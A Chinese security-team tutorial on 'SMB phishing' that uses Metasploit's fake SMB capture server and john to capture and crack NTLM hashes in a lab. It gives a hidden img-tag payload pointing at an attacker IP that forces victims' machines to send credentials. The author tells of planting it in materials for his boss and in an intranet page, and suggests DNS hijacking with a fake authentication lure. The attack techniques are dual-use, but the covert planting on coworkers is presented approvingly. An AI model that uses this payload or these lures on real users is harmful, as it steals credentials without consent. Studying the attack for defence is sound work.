后渗透——SMB钓鱼篇 – 作者:rabbitmask

是的,这节课没有王大爷,王大爷表示不用smb。。。

其实这节课最初定义是以SMB中继攻击(MS08-068)为首的smb中间人攻击(smb会话劫持),但在深入研究后发现,MS08-068仅适用于winserver2003、xp,可借助msf exploit/windows/smb/smb_relay模块傻瓜式实现,当今环境来看,它的意义何在,于是,本章节重新定义《SMB钓鱼篇》。

首先我们来准备下实验环境:

  • 用户机( winxp 172.16.111.32 )
  • 用户机( win2008R2 172.16.111.57 )
  • 用户机( win10 172.16.111.200 )
  • 攻击者( ParrotSec4.6 172.16.111.31 )

核心自然是我们的攻击机,由全新耀眼系列ParrotSec KDE版本V4.6屈尊担任……
我们来借助msf伪造一个smb服务器:

use auxiliary/server/capture/smb

这里补充一下NTLM认证:

  • 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
  • 服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 明文返回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
  • 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
  • 服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功

然而,我们这里伪造的smb服务器并没有使用随机数,而是1122334455667788。

image.png

因为现在网上流传的彩虹表就是根据它生成的。

image.png

这里使用win10进行SMB访问,捕捉到了NTHASH,但未捕捉到LMHASH,这是为什么呢?我们来看下安全策略说明:

image.png

划个重点:

此安全设置确定在下一次更改密码时是否为新密码存储 LAN 管理器(LM)哈希值。相比加密性更强的 Windows NT 哈希,LM 哈希的加密性相对较弱,易于受攻击。由于 LM 哈希存储在本地计算机上的安全数据库中,因此,一旦安全数据库受到攻击,密码便会泄漏。
在 Windows Vista 及更高版本操作系统上的默认设置: 启用。
在 Windows XP 上的默认设置: 已禁用。

也就是说我们看不到的原因很简单,win10自动禁用了LMHASH。
下面,开始我们的破解尝试:

NET-NTLM1破解

使用winXP用户级来演一下(win 2008以前版本采用NET-NTLM1认证),进行相同的操作,访问含payload的网页。

image.png

GET~

USER:Administrator DOMAIN:WINXP-52POJIE-2 OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:2bfae6525db0ba3ddc94656a2250b580d1df597d53b10685
NTHASH:fe89bf95daa1cee5454fb87286a59620fc4d507158c0e38c

通过组合hash获得Net-ntlmv1:

Administrator::WINXP-52POJIE-2:2bfae6525db0ba3ddc94656a2250b580d1df597d53b10685:fe89bf95daa1cee5454fb87286a59620fc4d507158c0e38c

当然我们也可以设置set johnpwfile /tmp/repass直接导出~

image.png

这里使用ParrotSec自带的john工具,指定hash类型:

john --format=netntlm repass_netntlm

成功破解用户密码:

image.png

NET-NTLM2破解

这里我们使用server2008R2进行smb请求,结果和win10捕捉到的内容是一样的:

image.png

Net-ntlmv2规范如下:

image.png

指定规则爆破:john --format=netntlmv2 repass_netntlmv2

image.png

实战

皮一下要不要得?
利用img标签强制SMB访问的原理,构造下我们的payload:

<img src="\\172.16.111.31\rabbit" hidden="true"/>

之前给老大的项目材料里其实就植入了payload,从表面是看是这样的:
目测还算正常:

image.png

其实,,代码里,,,

image.png

别,,别打,,,听我解释,,,


原则上任何地方哦,比如笔者负责维护的实验室内网导航,嘿嘿嘿(ˉ﹃ˉ)。。。咳咳,我们来看下当该网页被访问的时候会发生什么:

image.png

这里讲个真事儿,,,笔者的电脑密码忘记了,一直使用PIN码登录,在这里居然靠这个找回了!而且密码是我的生日,字典里绝对是没有的。原理大家自行脑补下,应该是因为纯数字的原因,实测win10秒破。

image.png

拓展

看到这里的小伙伴们是不是要激动一番了,这个漏洞为什么没有横行?

关于这一点,网上的教程并没有解释清楚,导致我在这里陷了很久,在这里跟大家分享一下:
1、如果是本地文件的话,即直接打开html文件,任何浏览器都可以触发。
2、如果篡改的界面是网站页面,只有IE浏览器可以触发。
3、还有<img src="\\172.16.111.31\rabbit"/>标签中的rabbit随意填写,但不可为空,这是我栽的最久的地方,原谅我JS短板。

关于他的利用场景,我的见解是,尤其是对于一些内网,因为有旧系统的缘故,依然使用IE浏览器的并不在少数,如果恰巧拿到的服务器存在内网网站,在主动式进攻(永恒之蓝)的基础之上,借助SMB钓鱼被动式来一波也是可以的。

高阶玩法

高阶玩法这里只点出来,只是思路问题,无技术门槛,所以不做演示。
1、445端口转发
转发445端口难度比普通端口略高一点,我们通过将445端口转发,可以将msf(确切的说是伪smb服务器)带入目标内网,一个稳定持续的会话将会有利于你接收更多的HASH。
2、DNS劫持
这个技术我们已经在MITM——DNS篇讲过了,可以通过强行劫持所有域名,使目标强行访问我们指定的界面,当然当前界面可以给予足够多的引导,比如:全国护网在即,联网需要身份认证,请使用IE浏览器进行访问

关注我们

Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:

ewm.png

来源:freebuf.com 2019-06-17 10:15:57 by: rabbitmask

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论